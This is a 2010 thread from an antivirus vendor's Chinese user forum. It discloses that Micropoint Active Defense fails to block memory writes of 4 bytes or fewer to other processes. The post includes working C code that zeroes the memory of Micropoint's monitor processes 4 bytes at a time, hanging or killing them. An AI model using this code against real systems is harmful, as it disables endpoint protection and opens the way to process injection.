微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: [yeluosong]1.2.10581.0284绕过安全限制的问题
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  [yeluosong]1.2.10581.0284绕过安全限制的问题

[yeluosong]

2010-06-04 17:14

漏洞涉及产品:微点主动防御1.2.10581.0284版本,其他版本尚未关注。

漏洞影响:通过此漏洞可以让攻击者绕过微点对NtWriteVirtualMemory函数的监控,从而能写任意进程的ring3内存空间,为DLL注入等恶意行为铺路。

漏洞详细原理:微点主动防御软件为了有效防止恶意进程写其他进程的内存空间,inlinehook了系统函数NtWriteVirtualMemory。但在处理NtWriteVirtualMemory的第四个参数BufferSize时,未对BufferSize<=4的写入情况进行控制,导致此情景发生。

利用程序代码:
操作系统:win7,winXP
By yeluosong

[achillis]
以上就是漏洞的具体细节。这导致我们其实还可以对任意进程进行WriteProcessMemory,虽然每次最多只能写4个字节,但是这并不是问题,写的内容多,那就分开多写几次就行了。
按照yeluosong同学的代码实验了一下,确实写进去了,如图:

yeluosong同学的代码写的是explorer.exe进程,经测试微点的监控进程MPMon.exe之类也可以写~~
但是一次写的内容超过4字节仍然会返回ACCESS_DENIED,拒绝访问,看来真的是存在这个问题。
于是想到把以前写的内存清零杀进程改一改来对付微点。

VOID FuckMPProcess(DWORD ProcessId)
{
DWORD i=0;
DWORD Value=0;
DWORD dwWritten=0;
DWORD dwSize=4;
DWORD Addr=0x10000;
MEMORY_BASIC_INFORMATION mbi={0};
DWORD OldProtect=0;
HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION,FALSE,ProcessId);
if (hProcess==NULL)
{
  printf("Open Process Failed!\n");
  return ;
}
printf("OpenProcess OK.Handle=0x%08X\n",hProcess);
//起始地址可以从0x10000开始,从这儿开始也可以,因为大部分系统DLL的地址都在这儿以后
for (Addr=0x70000000;Addr<=0x7FFFFFFF;Addr+=0x1000) {
  if (Addr%0x100000==0)
  {
   printf("Addr=0x%08X\n",Addr);
  }
  if (VirtualProtectEx(hProcess,(PVOID)Addr,0x1000,PAGE_EXECUTE_READWRITE,&OldProtect))
  {
   //把一页分N次写,每次只写4字节
   for (i=0;i<0x1000;i+=4)
   {
    WriteProcessMemory( hProcess, (PVOID)(Addr+i) , &Value, dwSize, &dwWritten );
    if (!dwWritten)
    {
     break;
    }
   }
  }
}
CloseHandle(hProcess);
printf("Finished!\n");
}
很简单的代码,只不过把以前的一次写入分成多次,每次只写4字节而已,也就是效率低了点~~经测试,在一定概率下可使监控进程(MPSVCX.exe)直接退出(实验了十几次只有两次是直接退出),其它情况下会使微点的进程CPU占用率达到100%,卡而不死,实验其它一些普通的程序比如计算器、记事本都可以杀死,看来还是因为某些保护的原因造成的吧,杀冰刃也是这样。对微点的监控程序MPMon.exe进行测试时,100%可造成其卡死,托盘图标不再运动,主界面无法打开。

上面的代码只是随便写写,这个测试并没有造成什么严重的后果,但是毕竟是一个BUG,若是对微点的程序比较熟悉,再加上这个可以写任意进程内存的漏洞,综合起来应该还可以搞点XX~~

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2010-6-6 23:16
查看资料  发送邮件  访问主页  发短消息   编辑帖子
littlefritz
版主

微点帮帮团团长


积分 3505
发帖 3502
注册 2009-5-23
来自 微点帮帮团
#2  

关注

※ ※ ※ 本文纯属【littlefritz】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

2010-6-7 11:28
查看资料  发送邮件  访问主页  发短消息  QQ   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#3  

同上

※ ※ ※ 本文纯属【snhao】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

东方微点论坛
2010-6-7 15:10
查看资料  发短消息   编辑帖子
byzhusd
注册用户




积分 91
发帖 91
注册 2010-6-1
#4  

看来问题多多啊!还有很长的路要走啊

※ ※ ※ 本文纯属【byzhusd】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-6-8 16:49
查看资料  发短消息   编辑帖子
wsh_888
中级用户




积分 347
发帖 345
注册 2009-10-3
#5  

关注

※ ※ ※ 本文纯属【wsh_888】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-6-8 18:28
查看资料  发送邮件  发短消息  QQ   编辑帖子
173659857
中级用户





积分 327
发帖 330
注册 2009-5-22
#6  

但愿在新版本中得以改善

※ ※ ※ 本文纯属【173659857】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2010-6-17 08:04
查看资料  发送邮件  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号